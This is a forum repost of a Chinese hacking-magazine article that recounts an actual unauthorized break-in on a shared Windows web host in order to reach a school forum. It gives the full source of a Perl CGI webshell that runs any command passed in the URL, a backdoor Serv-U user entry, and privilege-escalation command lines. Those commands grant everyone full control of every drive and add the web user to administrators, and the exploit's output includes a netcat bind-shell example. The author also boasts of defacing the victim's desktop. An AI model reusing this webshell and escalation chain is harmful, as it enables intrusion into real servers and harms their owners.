找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1965|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
: @& C$ K5 h0 j/ A) z本文作者:angel
* a; }* ?, u% E4 {文章性质:原创9 q& E  O( D6 ^1 a* b3 J% N
发布日期:2004-11-09
( E+ J/ r5 y# a5 a注意:
3 ~( c. @4 _. ^4 W; M本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
6 t# j( j, q  N3 P( U  v: e本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。, w' p7 C: d4 H# s. [# e% K

  r, X3 f* P0 @  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 5 g* s& x% ?# Y' _! R3 ?

, [5 B" X; N, D& [+ e  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
/ ]; ^* `1 c% I
% J+ r2 e3 D) ]  ]0 e; e+ o$ r  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
- v; k4 ?- R7 r% X
1 \# ?  g0 `7 c8 \# M) C+ c7 _  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 5 q9 Z& X7 e$ F( J/ I
5 Y5 Q# t  o8 b9 @. h
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
! H, B4 @, V; q, ]0 W# E* Y& g6 w* Q
  没有目的的跳转目录着……
+ }3 _+ J0 L7 C; v. ?" A1 B3 @8 T$ e
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… $ w+ V) y/ `9 I
, F5 x$ C( [, S  [
  结束了吗?不,我试着 FTP 一下: 8 b3 `8 J8 `2 W, p

% g) B; G6 _& X8 H3 \Microsoft Windows 2000 [Version 5.00.2195]
0 U8 ~8 @) Z# d) M; c8 D5 Y(C) 版权所有 1985-2000 Microsoft Corp. 2 U7 O# x; ~+ w+ U
4 @* `* W# S* h7 J! r/ N
C:\Documents and Settings\Administrator>ftp www.school.com1 y; V1 h, \4 h' g: y  o
Connected to www. school.com. ; z8 ~+ N; V! g& V  |1 A
220 Welcome to FTP Server... / I/ D6 C0 o  p5 C' X4 b9 A& L4 B
User (www.bjtrq.com:(none)): $ P! t1 ?& K2 y$ [- ~
331 User name okay, need password.   ^, e7 k# ?( \- T
Password:
5 w% k9 N: b: ~7 R: r530 Not logged in. 9 k* e+ _0 h8 _  f0 \; l! f5 M
Login failed. 2 Z% E. f+ |8 c& s* x2 B& M9 P
ftp> bye
2 m6 F6 p) B  G  ~+ \221 Goodbye! - ~" W5 P, a, M5 g: C8 m

2 a4 n6 C) `0 V0 R+ i: C
! ?  q& b  T& i  f  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……   G: q# N9 c# `! f/ f" J

" E: O* {' b7 l! U  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 ! g& y- }5 h  Q6 B( D- z  r

! \' b0 Z' \3 j- [- E! pApplication Data5 L% x5 H4 T9 x3 C
Documents7 b/ B/ a- M) m" y# P: h/ Z/ x
DRM6 u6 j& ~2 s' Q3 p" s8 n  N4 Z+ k
Favorites
( n, x% c9 ?- U. j% |, bTemplates" q" O' p) W& Q  G3 ~2 ~! Y
「开始」菜单' Y, ^4 Y& ~: b; D7 x2 ]9 r
桌面5 K" r6 t* [( s+ a) j( r. u

: q0 j$ _" j8 U& g, R
5 W2 d% t3 T& ?7 _4 n  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
+ D; c7 A6 i! _) h) I4 g: J6 s: W; s& ]$ E) i
ActiveState ActivePerl 5.8
% v& B! ?) L; g9 ]/ K9 C- YAdministrative Tools8 d% N9 D0 L$ Y- x% t/ p8 c# v
Deerfield.com
1 T& }3 O+ w8 o! k$ V+ wDTemp+ U5 n; l8 o, L8 M
IPSentry
6 H; d$ D; p3 D. WMBM 5
$ R6 f3 B- ]3 ?3 Q  |# _NetMeter
, _. V- h# Y* A8 I# b1 JNetwork ICE4 F( m8 }# |, c  o$ ?
Persits Software AspEmail
1 }1 A3 i6 `* L: ?  O3 d6 DPersits Software AspJpeg2 o+ r! J0 j6 R4 W& T" Y7 Z; s
Serv-U FTP Server* V2 q, S+ z- h# ^4 M4 R
Symantec Client Security  g1 K. q1 @5 k  x1 h$ Y! r. U( ]' A
Windows 优化大师
9 |, i  e& a- P$ \7 \- gWinRAR. `4 \- ]' l" U* @7 c8 H
启动
2 u/ W3 e0 ~; U4 I2 k& r管理工具
( y% h; Q8 @9 T. W/ S  `; l附件0 O" T4 D3 |, x9 u

: Y5 w2 f. D5 B9 _+ q* ~0 ~) ^% p# K0 t; G9 h8 t& }
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
7 r. A" T9 H* T- N, r
9 t9 S1 d, \' q$ J  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: * R. k. m5 E5 h# F7 c1 _9 z, W

7 k; z4 m$ N. a# z4 Y6 g0 x. QUser281=angel|1|0
: o  v% h, V6 E" Y$ a
  I. N( s' f$ H
. E0 g' [& m" [  然后加上
4 ~3 {9 v. E8 i6 @$ K& a/ F; c. Q$ d# M
[USER=angel|1]
/ q$ A  ]4 Z, {Password=ng98F85379EA68DBF97BAADCA99B69B805& K& Q% J8 ?& F9 U
HomeDir=D:\websites
- q/ p" |0 i$ ~& S7 d: _+ lRelPaths=1
- \9 r4 g6 T- B$ U* @" |1 ]& \' STimeOut=6003 l5 V3 N3 `% i
Maintenance=System
9 T- h$ ^5 f) k5 p/ b: cAccess1=D:\websites|RWAMELCDP
: G7 [* k8 R1 Z1 |SKEYValues=
! {& ?3 \+ [: r% m6 V0 i9 ^  S + I: H7 ]1 W9 _  q3 R& W- L0 u
6 g: b! V5 ]+ Y/ P$ s8 p/ L2 h
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 3 c$ P; s8 m0 |+ k# t  z8 J
% r4 V# H5 j0 b+ @# k
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
2 Z, N( Y5 X) o# r; h) t- ~+ Q$ {/ r
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 . Y9 U, c4 q/ {- ~. F
, f  `- k4 ]3 ]) Z
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: ) h9 [5 t1 K; z' k- v
  l( }, z9 I/ P+ d; D
#!/usr/bin/perl9 A) z+ h7 H! r! E8 B
binmode(STDOUT);( n6 r6 \( w; ?/ m
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);: m% L/ l* H& N+ W4 i% e
$_ = $ENV{QUERY_STRING};$ c8 A! w$ O( a1 V
s/%20/ /ig;
$ d3 o1 }' n# A9 `s/%2f/\//ig;8 c1 F( {4 n" J4 j3 f% V# `
$execthis = $_;
. d( Y3 A7 Q* o- }syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
6 f6 @! I2 r1 H* A% xopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";# S3 r) c3 @* ?" C) O, d0 p& S
system($execthis);& \) ~1 u2 F) G
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
5 \7 f9 K& N, _close(STDERR);4 V; u9 _4 v  O  Z* K6 Q5 Z6 x
close(STDOUT);+ T) W) F! H. G: R0 z% J
exit;, G; j1 r# X1 i5 j

2 R; K+ s- ~1 o' I3 e& V# H. s% I' B, o- A
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 1 I2 t4 E  Q* ]

2 `) z- X( a+ j3 h! D3 m1 g/ a( L3 ]  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: : u# z' I3 _. z0 v: D
' z8 F) f' g. x; N! X4 s. p0 b
http://anyhost//cmd.pl?d:\user\bin\su.exe + }( n: G) L/ I

8 W  u$ u% e) M6 q, p4 C6 o' i! P6 ~' y3 C
  返回:
. q& c9 O6 {" v9 Y$ a8 x. |+ {- D6 G; l; t$ y2 g" e) u
Serv-u >3.x Local Exploit by xiaolu
2 z8 M9 s7 S1 s& t9 E/ H
9 Y: p3 l  Q( n- [USAGE: serv-u.exe "command" : c7 Y5 k! _; T+ a

4 F1 J: q$ i7 ]" V( TExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" ) W" S1 e3 v8 y/ ]* n5 l
8 A, ^, a' V1 V& A6 ^2 u1 ?, U4 I
- s7 M! w) m6 Z" B7 V# l
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: % K2 R3 T1 Q$ S
/ E( b" B, Y8 ]$ E
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
6 m) U; S, A. c0 ^! _! X* M, c" Q
( d' y# M: W* v" Q$ H+ c0 _http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" ( @+ |3 W9 R! ]/ d
) n0 F1 D: Z- C: t
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
$ x9 ?8 h0 Y( w/ x. l- t& o" D) A7 K& E
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 7 a- V) Y& A- H3 S" m6 k# |4 C
5 s1 k4 `( ?1 Q' T- C: r# e8 e

6 o/ w  x1 D' L0 L( S1 T  返回下面的信息,就表示成功了!!! / D9 O/ ?, E/ y% D  [# D6 ^4 x; `
7 ^5 M  s  p! p$ k9 b! Y, R
Serv-u >3.x Local Exploit by xiaolu
9 P4 a; f& |+ t, d6 F4 n9 j7 r% T) I  i; _, a. J
<220 Serv-U FTP Server v5.2 for WinSock ready... . H9 E3 h, c. w
* P" Y8 c! V( Z' Y: h
>USER LocalAdministrator # f$ _% d1 C0 Y  \- }4 v) w

6 A/ }. m2 p2 ^. l2 M; |<331 User name okay, need password. & H( A" y$ Y8 w: q1 p8 Y

( U) r. [  G5 r. K! q$ N' p******************************************************
- @: w; ]8 E8 ~# |& U
7 P2 N4 s1 W/ T' k( w- y# y; F! M>PASS #l@$ak#.lk;0@P 2 c" \5 a/ ^5 D: K- W( J8 s+ `& ]
4 [5 \& v8 [2 ~$ w6 h/ T+ }3 X+ N* C
<230 User logged in, proceed.
6 o' N3 e+ [" B" o& x
- d  ^7 Y9 n* r7 k0 f' K. q, B) r******************************************************
, _0 M% z* i; \- R( W
$ y7 {9 u& {* [' h>SITE MAINTENANCE & G$ U, I+ ^: v3 c' B+ ?3 l

+ w. A8 R2 U! z8 B5 D8 x4 i, o******************************************************
: b- e# ~3 W# e; l, c# p
% b) @/ B  M; N) z- @2 g5 }[+] Creating New Domain...
* s( ]2 |( p% h+ C4 J  J
9 @$ l3 d! o+ t" D/ l, `<200-DomainID=2
7 w' `( f0 ]4 o
2 f0 S8 {* k+ J0 A3 p! Y" ~<220 Domain settings saved
! V9 Z/ k  Z8 F0 L! J9 C. T' p; C; O- v! s, Q6 K
******************************************************
+ I- N' U& P) ]) w) C5 O- i4 r
9 G6 Z0 T; w/ V: Y[+] Domain xl:2 Created 4 _, [: E; p6 z; H% b/ L
. T5 }- _, n6 B% y: n& L
[+] Creating Evil User
$ `: l- g0 }) t2 t) n  U2 {- n- ^7 [8 \
1 N. s3 _- q! K  ~( w6 _<200-User=xl   C9 w* B6 _0 ^9 H' \- Z' `# ^; \2 k

6 `, T$ J5 T8 r200 User settings saved 5 R* S2 [" f% t+ o6 P3 W# H- z) V

+ O1 N2 N( L/ X/ U2 t  i******************************************************
2 H& J1 y: U* ?7 [  ^% L0 l/ G0 Y7 E. a
[+] Now Exploiting...
3 P: R9 [+ j0 a% m! ^* Y( b
" l! r& }- ]* [: E& N/ J>USER xl
! l* l4 w) \$ C! o/ m* n' f! S4 }
2 t/ K6 w1 ?& B5 |<331 User name okay, need password.
- q+ p; @" S( A: I+ R4 N& n. |  Q: c4 [+ a& I
******************************************************
9 p1 O% Q% z9 }' s; r7 D# P. W" H' S# F
>PASS 111111 $ G" O5 l5 P6 D' [% y

1 P1 |7 i9 z2 a. `/ j7 c<230 User logged in, proceed. + r: O7 P1 K7 F! s
, v) P( B8 ?8 i! c+ X0 }
******************************************************
9 D2 b7 O, V2 y# q, c- D+ L* H/ T8 S$ B) ?* i
[+] Now Executing: cacls.exe c: /E /T /G everyone:F # _1 Y8 O, W5 O* f" b/ ^) |! p
- O. C7 z# v! P) R; P+ E1 D9 x
<220 Domain deleted
1 O6 W( i% n: a+ Q  H/ s7 {7 q3 Q- ^# l9 y* b
******************************************************
  j4 c+ ]+ J0 V6 k0 k1 p
% x3 H' p4 ?7 F4 ~; J- I, F: p
8 t  O# p+ T0 F2 p/ {1 ^5 O" M  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
6 k. j# `6 ~& ?" U8 l
0 a; o1 `. z8 H' M- V( {! A3 [  _http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" ! ~0 {' F9 O! j6 K3 a/ b. f% I& v

3 v, A* `# X: X, _
! V! n3 B& W3 A. \* ?/ B1 o  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
8 m. \' F6 g$ L# f; n- E1 M
4 t! U  I) ^' U( o! c  m  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。6 @% V5 h9 L) t: J3 J
$ `' b- n5 |8 E& S5 _5 ]
  
3 R! y+ D/ s. J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表